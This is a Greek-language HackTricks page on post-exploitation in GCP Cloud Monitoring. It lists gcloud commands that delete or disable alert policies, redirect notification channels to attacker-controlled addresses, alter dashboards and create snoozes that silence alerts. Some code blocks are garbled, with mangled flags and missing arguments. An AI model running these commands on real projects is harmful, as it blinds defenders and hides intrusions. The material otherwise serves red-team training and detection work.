GCP - Παρακολούθηση Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Παρακολούθηση

Για περισσότερες πληροφορίες δείτε:

GCP - Monitoring Enum

Για άλλους τρόπους να διαταραχθούν τα logs δείτε:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

Διαγραφή ενός alert policy:

Διαγραφή alert policy ```bash gcloud alpha monitoring policies delete ```

monitoring.alertPolicies.update

Διαταράξτε μια πολιτική ειδοποιήσεων:

Διαταράξτε πολιτική ειδοποιήσεων ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled

Remove all notification channels

gcloud alpha monitoring policies update –clear-notification-channels

Chnage notification channels

gcloud alpha monitoring policies update –set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

Modify alert conditions

gcloud alpha monitoring policies update –policy=“{ ‘displayName’: ‘New Policy Name’, ‘conditions’: [ … ], ‘combiner’: ‘AND’, … }”

or use –policy-from-file 

</details>

### `monitoring.dashboards.update`

Τροποποιήστε έναν πίνακα ελέγχου για να τον διαταράξετε:

<details>

<summary>Διατάραξη πίνακα ελέγχου</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

Διαγραφή πίνακα ελέγχου:

Διαγραφή πίνακα ελέγχου ```bash # Delete dashboard gcloud monitoring dashboards delete ```

monitoring.snoozes.create

Αποτρέψτε τις πολιτικές από το να δημιουργούν ειδοποιήσεις δημιουργώντας έναν snoozer:

Δημιουργήστε snoozer για να σταματήσετε τις ειδοποιήσεις ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```

monitoring.snoozes.update

Ενημερώστε το χρονισμό ενός snoozer για να αποτρέψετε τη δημιουργία ειδοποιήσεων όταν ο επιτιθέμενος ενδιαφέρεται:

Ενημέρωση χρονισμού snoozer ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME

odify everything, including affected policies

gcloud monitoring snoozes update –snooze-from-file=

</details>

### `monitoring.notificationChannels.delete`

Διαγραφή ενός διαμορφωμένου καναλιού:

<details>

<summary>Διαγραφή καναλιού ειδοποιήσεων</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

Ενημέρωση ετικετών ενός καναλιού για να το διαταράξετε:

Ενημέρωση ετικετών καναλιού ειδοποίησης ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks